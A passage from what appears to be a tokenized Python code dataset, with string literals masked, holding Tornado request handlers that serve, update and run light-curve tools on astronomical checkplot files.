{<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbr['<STR_LIT>'],<EOL>'<STR_LIT>':nbrmagdiffs,<EOL>'<STR_LIT>':nbrcolordiffs<EOL>}<EOL>}<EOL>try:<EOL><INDENT>nbr_magseries = nbr['<STR_LIT>']['<STR_LIT>']<EOL>thisnbrdict['<STR_LIT>'] = nbr_magseries<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.error(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (nbr['<STR_LIT>'],<EOL>cpdict['<STR_LIT>'])<EOL>)<EOL><DEDENT>try:<EOL><INDENT>for pfm in pfmethods:<EOL><INDENT>if pfm in nbr:<EOL><INDENT>thisnbrdict[pfm] = {<EOL>'<STR_LIT>':nbr[pfm][<NUM_LIT:0>]['<STR_LIT>'],<EOL>'<STR_LIT>':nbr[pfm][<NUM_LIT:0>]['<STR_LIT>'],<EOL>'<STR_LIT>':nbr[pfm][<NUM_LIT:0>]['<STR_LIT>']<EOL>}<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.error(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (nbr['<STR_LIT>'],<EOL>cpdict['<STR_LIT>'])<EOL>)<EOL><DEDENT>neighbors.append(thisnbrdict)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>objectcomments = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>objectcomments = None<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>objectxmatch = cpdict['<STR_LIT>']<EOL>for xmcat in objectxmatch:<EOL><INDENT>if isinstance(objectxmatch[xmcat]['<STR_LIT:info>'], dict):<EOL><INDENT>xminfo = objectxmatch[xmcat]['<STR_LIT:info>']<EOL>for xmek in xminfo:<EOL><INDENT>if (isinstance(xminfo[xmek], float) and<EOL>(not np.isfinite(xminfo[xmek]))):<EOL><INDENT>xminfo[xmek] = None<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>objectxmatch = None<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>colormagdiagram = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>colormagdiagram = None<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>finderchart = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>finderchart = None<EOL><DEDENT>if ('<STR_LIT>' in cpdict and<EOL>isinstance(cpdict['<STR_LIT>'], dict) and<EOL>'<STR_LIT>' in cpdict['<STR_LIT>']):<EOL><INDENT>magseries = cpdict['<STR_LIT>']['<STR_LIT>']<EOL>time0 = cpdict['<STR_LIT>']['<STR_LIT>'].min()<EOL>magseries_ndet = cpdict['<STR_LIT>']['<STR_LIT>'].size<EOL><DEDENT>else:<EOL><INDENT>magseries = None<EOL>time0 = <NUM_LIT:0.0><EOL>magseries_ndet = <NUM_LIT:0><EOL>LOGGER.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if '<STR_LIT:status>' in cpdict:<EOL><INDENT>cpstatus = cpdict['<STR_LIT:status>']<EOL><DEDENT>else:<EOL><INDENT>cpstatus = '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in cpdict:<EOL><INDENT>uifilters = cpdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>uifilters = {'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None}<EOL><DEDENT>resultdict = {<EOL>'<STR_LIT:status>':'<STR_LIT>',<EOL>'<STR_LIT:message>':'<STR_LIT>' % self.checkplotfname,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':{<EOL>'<STR_LIT>':'<STR_LIT>' % time0,<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>':objectinfo,<EOL>'<STR_LIT>':colormagdiagram,<EOL>'<STR_LIT>':objectcomments,<EOL>'<STR_LIT>':varinfo,<EOL>'<STR_LIT>':uifilters,<EOL>'<STR_LIT>':neighbors,<EOL>'<STR_LIT>':objectxmatch,<EOL>'<STR_LIT>':finderchart,<EOL>'<STR_LIT>':magseries,<EOL>'<STR_LIT>':magseries_ndet,<EOL>'<STR_LIT>':cpstatus,<EOL>'<STR_LIT>':pfmethods<EOL>}<EOL>}<EOL>for key in resultdict['<STR_LIT:result>']['<STR_LIT>']:<EOL><INDENT>if (isinstance(resultdict['<STR_LIT:result>']['<STR_LIT>'][key],<EOL>(float, np.float64, np.float_)) and<EOL>(not np.isfinite(resultdict['<STR_LIT:result>'][<EOL>'<STR_LIT>'<EOL>][key]))):<EOL><INDENT>resultdict['<STR_LIT:result>']['<STR_LIT>'][key] = None<EOL><DEDENT>elif (isinstance(resultdict['<STR_LIT:result>']['<STR_LIT>'][key],<EOL>ndarray)):<EOL><INDENT>thisval = resultdict['<STR_LIT:result>']['<STR_LIT>'][key]<EOL>thisval = thisval.tolist()<EOL>for i, v in enumerate(thisval):<EOL><INDENT>if (isinstance(v,(float, np.float64, np.float_)) and<EOL>(not(np.isfinite(v)))):<EOL><INDENT>thisval[i] = None<EOL><DEDENT><DEDENT>resultdict['<STR_LIT:result>']['<STR_LIT>'][key] = thisval<EOL><DEDENT><DEDENT>for key in resultdict['<STR_LIT:result>']['<STR_LIT>']:<EOL><INDENT>if (isinstance(<EOL>resultdict['<STR_LIT:result>']['<STR_LIT>'][key],<EOL>(float, np.float64, np.float_)) and<EOL>(not np.isfinite(<EOL>resultdict['<STR_LIT:result>']['<STR_LIT>'][key]<EOL>))):<EOL><INDENT>resultdict['<STR_LIT:result>']['<STR_LIT>'][key] = None<EOL><DEDENT>elif (isinstance(<EOL>resultdict['<STR_LIT:result>']['<STR_LIT>'][key],<EOL>ndarray)):<EOL><INDENT>thisval = (<EOL>resultdict['<STR_LIT:result>']['<STR_LIT>'][key]<EOL>)<EOL>thisval = thisval.tolist()<EOL>for i, v in enumerate(thisval):<EOL><INDENT>if (isinstance(v,(float, np.float64, np.float_)) and<EOL>(not(np.isfinite(v)))):<EOL><INDENT>thisval[i] = None<EOL><DEDENT><DEDENT>resultdict['<STR_LIT:result>']['<STR_LIT>'][key] = (<EOL>thisval<EOL>)<EOL><DEDENT><DEDENT>if ('<STR_LIT>' in resultdict['<STR_LIT:result>']['<STR_LIT>'] and<EOL>isinstance(resultdict['<STR_LIT:result>']['<STR_LIT>']['<STR_LIT>'],<EOL>dict)):<EOL><INDENT>for key in resultdict['<STR_LIT:result>']['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>if (isinstance(<EOL>resultdict[<EOL>'<STR_LIT:result>'<EOL>]['<STR_LIT>']['<STR_LIT>'][key],<EOL>(float, np.float64, np.float_)) and<EOL>(not np.isfinite(<EOL>resultdict[<EOL>'<STR_LIT:result>'<EOL>]['<STR_LIT>']['<STR_LIT>'][key]))):<EOL><INDENT>resultdict[<EOL>'<STR_LIT:result>'<EOL>]['<STR_LIT>']['<STR_LIT>'][key] = None<EOL><DEDENT>elif (isinstance(<EOL>resultdict[<EOL>'<STR_LIT:result>'<EOL>]['<STR_LIT>']['<STR_LIT>'][key],<EOL>ndarray)):<EOL><INDENT>thisval = (<EOL>resultdict['<STR_LIT:result>']['<STR_LIT>']['<STR_LIT>'][key]<EOL>)<EOL>thisval = thisval.tolist()<EOL>for i, v in enumerate(thisval):<EOL><INDENT>if (isinstance(v,(float,<EOL>np.float64,<EOL>np.float_)) and<EOL>(not(np.isfinite(v)))):<EOL><INDENT>thisval[i] = None<EOL><DEDENT><DEDENT>resultdict['<STR_LIT:result>']['<STR_LIT>']['<STR_LIT>'][key] = (<EOL>thisval<EOL>)<EOL><DEDENT><DEDENT><DEDENT>for key in pfmethods:<EOL><INDENT>periodogram = cpdict[key]['<STR_LIT>']<EOL>if <NUM_LIT:0> in cpdict[key] and isinstance(cpdict[key][<NUM_LIT:0>], dict):<EOL><INDENT>phasedlc0plot = cpdict[key][<NUM_LIT:0>]['<STR_LIT>']<EOL>phasedlc0period = float(cpdict[key][<NUM_LIT:0>]['<STR_LIT>'])<EOL>phasedlc0epoch = float(cpdict[key][<NUM_LIT:0>]['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>phasedlc0plot = None<EOL>phasedlc0period = None<EOL>phasedlc0epoch = None<EOL><DEDENT>if (<NUM_LIT:0> in cpdict[key] and<EOL>isinstance(cpdict[key][<NUM_LIT:0>], dict) and<EOL>'<STR_LIT>' in cpdict[key][<NUM_LIT:0>] and<EOL>isinstance(cpdict[key][<NUM_LIT:0>]['<STR_LIT>'], dict)):<EOL><INDENT>phasedlc0fit = {<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:0>][<EOL>'<STR_LIT>'<EOL>]['<STR_LIT>']['<STR_LIT>'] if<EOL>'<STR_LIT>' in<EOL>cpdict[key][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>'] else None<EOL>)<EOL>}<EOL><DEDENT>else:<EOL><INDENT>phasedlc0fit = None<EOL><DEDENT>if <NUM_LIT:1> in cpdict[key] and isinstance(cpdict[key][<NUM_LIT:1>], dict):<EOL><INDENT>phasedlc1plot = cpdict[key][<NUM_LIT:1>]['<STR_LIT>']<EOL>phasedlc1period = float(cpdict[key][<NUM_LIT:1>]['<STR_LIT>'])<EOL>phasedlc1epoch = float(cpdict[key][<NUM_LIT:1>]['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>phasedlc1plot = None<EOL>phasedlc1period = None<EOL>phasedlc1epoch = None<EOL><DEDENT>if (<NUM_LIT:1> in cpdict[key] and<EOL>isinstance(cpdict[key][<NUM_LIT:1>], dict) and<EOL>'<STR_LIT>' in cpdict[key][<NUM_LIT:1>] and<EOL>isinstance(cpdict[key][<NUM_LIT:1>]['<STR_LIT>'], dict)):<EOL><INDENT>phasedlc1fit = {<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:1>][<EOL>'<STR_LIT>'<EOL>]['<STR_LIT>']['<STR_LIT>'] if<EOL>'<STR_LIT>' in<EOL>cpdict[key][<NUM_LIT:1>]['<STR_LIT>']['<STR_LIT>'] else None<EOL>)<EOL>}<EOL><DEDENT>else:<EOL><INDENT>phasedlc1fit = None<EOL><DEDENT>if <NUM_LIT:2> in cpdict[key] and isinstance(cpdict[key][<NUM_LIT:2>], dict):<EOL><INDENT>phasedlc2plot = cpdict[key][<NUM_LIT:2>]['<STR_LIT>']<EOL>phasedlc2period = float(cpdict[key][<NUM_LIT:2>]['<STR_LIT>'])<EOL>phasedlc2epoch = float(cpdict[key][<NUM_LIT:2>]['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>phasedlc2plot = None<EOL>phasedlc2period = None<EOL>phasedlc2epoch = None<EOL><DEDENT>if (<NUM_LIT:2> in cpdict[key] and<EOL>isinstance(cpdict[key][<NUM_LIT:2>], dict) and<EOL>'<STR_LIT>' in cpdict[key][<NUM_LIT:2>] and<EOL>isinstance(cpdict[key][<NUM_LIT:2>]['<STR_LIT>'], dict)):<EOL><INDENT>phasedlc2fit = {<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>']<EOL>),<EOL>'<STR_LIT>':(<EOL>cpdict[key][<NUM_LIT:2>][<EOL>'<STR_LIT>'<EOL>]['<STR_LIT>']['<STR_LIT>'] if<EOL>'<STR_LIT>' in<EOL>cpdict[key][<NUM_LIT:2>]['<STR_LIT>']['<STR_LIT>'] else None<EOL>)<EOL>}<EOL><DEDENT>else:<EOL><INDENT>phasedlc2fit = None<EOL><DEDENT>resultdict['<STR_LIT:result>'][key] = {<EOL>'<STR_LIT>':cpdict[key]['<STR_LIT>'],<EOL>'<STR_LIT>':periodogram,<EOL>'<STR_LIT>':cpdict[key]['<STR_LIT>'],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc0plot,<EOL>'<STR_LIT>':phasedlc0period,<EOL>'<STR_LIT>':phasedlc0epoch,<EOL>'<STR_LIT>':phasedlc0fit,<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc1plot,<EOL>'<STR_LIT>':phasedlc1period,<EOL>'<STR_LIT>':phasedlc1epoch,<EOL>'<STR_LIT>':phasedlc1fit,<EOL>},<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':phasedlc2plot,<EOL>'<STR_LIT>':phasedlc2period,<EOL>'<STR_LIT>':phasedlc2epoch,<EOL>'<STR_LIT>':phasedlc2fit,<EOL>},<EOL>}<EOL><DEDENT>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>' % self.checkplotfname)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':\"<STR_LIT>\",<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':'<STR_LIT>',<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL><DEDENT>", "docstring": "This handles GET requests to serve a specific checkplot pickle.\n\n        This is an AJAX endpoint; returns JSON that gets converted by the\n        frontend into things to render.", "id": "f14711:c2:m1"}
{"signature": "@gen.coroutine<EOL><INDENT>def post(self, cpfile):<DEDENT>", "body": "<EOL>if self.readonly:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>try:<EOL><INDENT>self.cpfile = base64.b64decode(url_unescape(cpfile)).decode()<EOL>cpcontents = self.get_argument('<STR_LIT>', default=None)<EOL>savetopng = self.get_argument('<STR_LIT>', default=None)<EOL>if not self.cpfile or not cpcontents:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>cpcontents = json.loads(cpcontents)<EOL>updated = {'<STR_LIT>': cpcontents['<STR_LIT>'],<EOL>'<STR_LIT>':cpcontents['<STR_LIT>'],<EOL>'<STR_LIT>':cpcontents['<STR_LIT>'],<EOL>'<STR_LIT>':cpcontents['<STR_LIT>']}<EOL>cpfpath = os.path.join(<EOL>os.path.abspath(os.path.dirname(self.cplistfile)),<EOL>self.cpfile<EOL>)<EOL>LOGGER.info('<STR_LIT>' % cpfpath)<EOL>if not os.path.exists(cpfpath):<EOL><INDENT>msg = \"<STR_LIT>\" % cpfpath<EOL>LOGGER.error(msg)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>updated = yield self.executor.submit(checkplot_pickle_update,<EOL>cpfpath, updated)<EOL>if updated:<EOL><INDENT>LOGGER.info('<STR_LIT>' % updated)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:success>',<EOL>'<STR_LIT:message>':'<STR_LIT>',<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':{'<STR_LIT>':updated,<EOL>'<STR_LIT>':utime.time(),<EOL>'<STR_LIT>':cpcontents,<EOL>'<STR_LIT>': None}}<EOL>if savetopng:<EOL><INDENT>cpfpng = os.path.abspath(cpfpath.replace('<STR_LIT>','<STR_LIT>'))<EOL>cpfpng = StrIO()<EOL>pngdone = yield self.executor.submit(<EOL>checkplot_pickle_to_png,<EOL>cpfpath, cpfpng<EOL>)<EOL>if pngdone is not None:<EOL><INDENT>pngdone.seek(<NUM_LIT:0>)<EOL>pngbin = pngdone.read()<EOL>pngb64 = base64.b64encode(pngbin)<EOL>pngdone.close()<EOL>del pngbin<EOL>resultdict['<STR_LIT:result>']['<STR_LIT>'] = pngb64<EOL><DEDENT>else:<EOL><INDENT>resultdict['<STR_LIT:result>']['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>' %<EOL>(self.cpfile, cpcontents))<EOL>msg = \"<STR_LIT>\"<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.exception('<STR_LIT>' %<EOL>(self.cpfile, cpcontents))<EOL>msg = \"<STR_LIT>\"<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>self.finish()<EOL><DEDENT>", "docstring": "This handles POST requests.\n\n        Also an AJAX endpoint. Updates the persistent checkplot dict using the\n        changes from the UI, and then saves it back to disk. This could\n        definitely be faster by just loading the checkplot into a server-wide\n        shared dict or something.", "id": "f14711:c2:m2"}
{"signature": "def initialize(self, currentdir, assetpath, cplist,<EOL>cplistfile, executor, readonly):", "body": "self.currentdir = currentdir<EOL>self.assetpath = assetpath<EOL>self.currentproject = cplist<EOL>self.cplistfile = cplistfile<EOL>self.executor = executor<EOL>self.readonly = readonly<EOL>", "docstring": "This handles initial setup of the `RequestHandler`.", "id": "f14711:c3:m0"}
{"signature": "def get(self):", "body": "<EOL>if '<STR_LIT>' not in self.currentproject:<EOL><INDENT>self.currentproject['<STR_LIT>'] = {}<EOL><DEDENT>self.write(self.currentproject)<EOL>", "docstring": "This handles GET requests for the current checkplot-list.json file.\n\nUsed with AJAX from frontend.", "id": "f14711:c3:m1"}
{"signature": "def post(self):", "body": "<EOL>if self.readonly:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>objectid = self.get_argument('<STR_LIT>', None)<EOL>changes = self.get_argument('<STR_LIT>',None)<EOL>if not objectid or not changes:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>LOGGER.error(msg)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>objectid = xhtml_escape(objectid)<EOL>changes = json.loads(changes)<EOL>if '<STR_LIT>' not in self.currentproject:<EOL><INDENT>self.currentproject['<STR_LIT>'] = {}<EOL><DEDENT>self.currentproject['<STR_LIT>'][objectid] = changes<EOL>with open(self.cplistfile,'<STR_LIT:w>') as outfd:<EOL><INDENT>json.dump(self.currentproject, outfd)<EOL><DEDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % objectid)<EOL>LOGGER.info(msg)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:success>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':{'<STR_LIT>':objectid,<EOL>'<STR_LIT>':changes}}<EOL>self.write(resultdict)<EOL>self.finish()<EOL>", "docstring": "This handles POST requests.\n\n        Saves the changes made by the user on the frontend back to the current\n        checkplot-list.json file.", "id": "f14711:c3:m2"}
{"signature": "def initialize(self, currentdir, assetpath, cplist,<EOL>cplistfile, executor, readonly):", "body": "self.currentdir = currentdir<EOL>self.assetpath = assetpath<EOL>self.currentproject = cplist<EOL>self.cplistfile = cplistfile<EOL>self.executor = executor<EOL>self.readonly = readonly<EOL>", "docstring": "This handles initial setup of the `RequestHandler`.", "id": "f14711:c4:m0"}
{"signature": "@gen.coroutine<EOL><INDENT>def get(self, cpfile):<DEDENT>", "body": "if cpfile:<EOL><INDENT>self.cpfile = (<EOL>xhtml_escape(base64.b64decode(url_unescape(cpfile)))<EOL>)<EOL>if self.cpfile in self.currentproject['<STR_LIT>']:<EOL><INDENT>cpfpath = os.path.join(<EOL>os.path.abspath(os.path.dirname(self.cplistfile)),<EOL>self.cpfile<EOL>)<EOL>if not os.path.exists(cpfpath):<EOL><INDENT>msg = \"<STR_LIT>\" % cpfpath<EOL>LOGGER.error(msg)<EOL>resultdict = {'<STR_LIT:status>':'<STR_LIT:error>',<EOL>'<STR_LIT:message>':msg,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>forcereload = self.get_argument('<STR_LIT>',False)<EOL>if forcereload and xhtml_escape(forcereload):<EOL><INDENT>forcereload = True if forcereload == '<STR_LIT:true>' else False<EOL><DEDENT>cpobjectid = self.get_argument('<STR_LIT>',None)<EOL>lctool = self.get_argument('<STR_LIT>', None)<EOL>resultdict = {'<STR_LIT:status>':None,<EOL>'<STR_LIT:message>':None,<EOL>'<STR_LIT>':self.readonly,<EOL>'<STR_LIT:result>':None}<EOL>if lctool:<EOL><INDENT>lctool = xhtml_escape(lctool)<EOL>lctoolargs = []<EOL>lctoolkwargs = {}<EOL>if lctool in CPTOOLMAP:<EOL><INDENT>try:<EOL><INDENT>for xkwarg, xkwargtype, xkwargdef in zip(<EOL>CPTOOLMAP[lctool]['<STR_LIT>'],<EOL>CPTOOLMAP[lctool]['<STR_LIT>'],<EOL>CPTOOLMAP[lctool]['<STR_LIT>']<EOL>):<EOL><INDENT>if xkwargtype is list:<EOL><INDENT>wbkwarg = self.get_arguments(xkwarg)<EOL>if len(wbkwarg) > <NUM_LIT:0>:<EOL><INDENT>wbkwarg = [url_unescape(xhtml_escape(x))<EOL>for x in wbkwarg]<EOL><DEDENT>else:<EOL><INDENT>wbkwarg = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>wbkwarg = self.get_argument(xkwarg, None)<EOL>if wbkwarg is not None:<EOL><INDENT>wbkwarg = url_unescape(<EOL>xhtml_escape(wbkwarg)<EOL>)<EOL><DEDENT><DEDENT>LOGGER.info('<STR_LIT>' %<EOL>(xkwarg, repr(wbkwarg)))<EOL>if wbkwarg is None:<EOL><INDENT>wbkwarg = xkwargdef<EOL><DEDENT>else:<EOL><INDENT>if xkwargtype is list:<EOL><INDENT>wbkwarg = [float(x) for x in wbkwarg]<EOL><DEDENT>elif xkwargtype is bool:<EOL><INDENT>if wbkwarg == '<STR_LIT:false>':<EOL><INDENT>wbkwarg = False<EOL><DEDENT>elif wbkwarg == '<STR_LIT:true>':<EOL><INDENT>wbkwarg = True<EOL><DEDENT>else:<EOL><INDENT>wbkwarg = xkwargdef<EOL><DEDENT><DEDENT>else:<EOL><INDENT>wbkwarg = xkwargtype(wbkwarg)<EOL><DEDENT><DEDENT>if xkwarg.endswith('<STR_LIT>'):<EOL><INDENT>xkwarg = xkwarg.rstrip('<STR_LIT>')<EOL><DEDENT>lctoolkwargs.update({xkwarg:wbkwarg})<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.exception('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, xkwarg))<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:error>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, xkwarg)<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {'<STR_LIT>':cpobjectid}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>' % lctool)<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:error>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>' % lctool<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {'<STR_LIT>':cpobjectid}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>')<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:error>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {'<STR_LIT>':cpobjectid}<EOL>self.write(resultdict)<EOL>raise tornado.web.Finish()<EOL><DEDENT>LOGGER.info('<STR_LIT>' % cpfpath)<EOL>cpdict = yield self.executor.submit(<EOL>_read_checkplot_picklefile, cpfpath<EOL>)<EOL>tempfpath = cpfpath + '<STR_LIT>'<EOL>if os.path.exists(tempfpath):<EOL><INDENT>tempcpdict = yield self.executor.submit(<EOL>_read_checkplot_picklefile, tempfpath<EOL>)<EOL><DEDENT>else:<EOL><INDENT>tempcpdict = {<EOL>'<STR_LIT>':cpdict['<STR_LIT>'],<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':cpdict['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':cpdict['<STR_LIT>']['<STR_LIT>'],<EOL>'<STR_LIT>':cpdict['<STR_LIT>']['<STR_LIT>'],<EOL>}<EOL>}<EOL><DEDENT>if not forcereload:<EOL><INDENT>cptimes, cpmags, cperrs = (<EOL>tempcpdict['<STR_LIT>']['<STR_LIT>'],<EOL>tempcpdict['<STR_LIT>']['<STR_LIT>'],<EOL>tempcpdict['<STR_LIT>']['<STR_LIT>'],<EOL>)<EOL>LOGGER.info('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>cptimes, cpmags, cperrs = (cpdict['<STR_LIT>']['<STR_LIT>'],<EOL>cpdict['<STR_LIT>']['<STR_LIT>'],<EOL>cpdict['<STR_LIT>']['<STR_LIT>'])<EOL>LOGGER.info('<STR_LIT>')<EOL><DEDENT>for xarg, xargtype in zip(CPTOOLMAP[lctool]['<STR_LIT:args>'],<EOL>CPTOOLMAP[lctool]['<STR_LIT>']):<EOL><INDENT>if xarg is None:<EOL><INDENT>lctoolargs.append(None)<EOL><DEDENT>elif xarg == '<STR_LIT>':<EOL><INDENT>lctoolargs.append(cptimes)<EOL><DEDENT>elif xarg == '<STR_LIT>':<EOL><INDENT>lctoolargs.append(cpmags)<EOL><DEDENT>elif xarg == '<STR_LIT>':<EOL><INDENT>lctoolargs.append(cperrs)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>if xargtype is list:<EOL><INDENT>wbarg = self.get_arguments(xarg)<EOL><DEDENT>else:<EOL><INDENT>wbarg = url_unescape(<EOL>xhtml_escape(<EOL>self.get_argument(xarg, None)<EOL>)<EOL>)<EOL><DEDENT>if xargtype is list:<EOL><INDENT>wbarg = [float(x) for x in wbarg]<EOL><DEDENT>elif xargtype is float and xarg == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>wbarg = xargtype(wbarg)<EOL><DEDENT>except Exception as e:<EOL><INDENT>wbarg = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>wbarg = xargtype(wbarg)<EOL><DEDENT>lctoolargs.append(wbarg)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGGER.exception('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, xarg))<EOL>resultdict['<STR_LIT:status>'] = '<STR_LIT:error>'<EOL>resultdict['<STR_LIT:message>'] = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lctool, xarg)<EOL>)<EOL>resultdict['<STR_LIT:result>'] = {'<STR_LIT>':cpobjectid}<EOL>self.write(resultdict)<EOL>raise 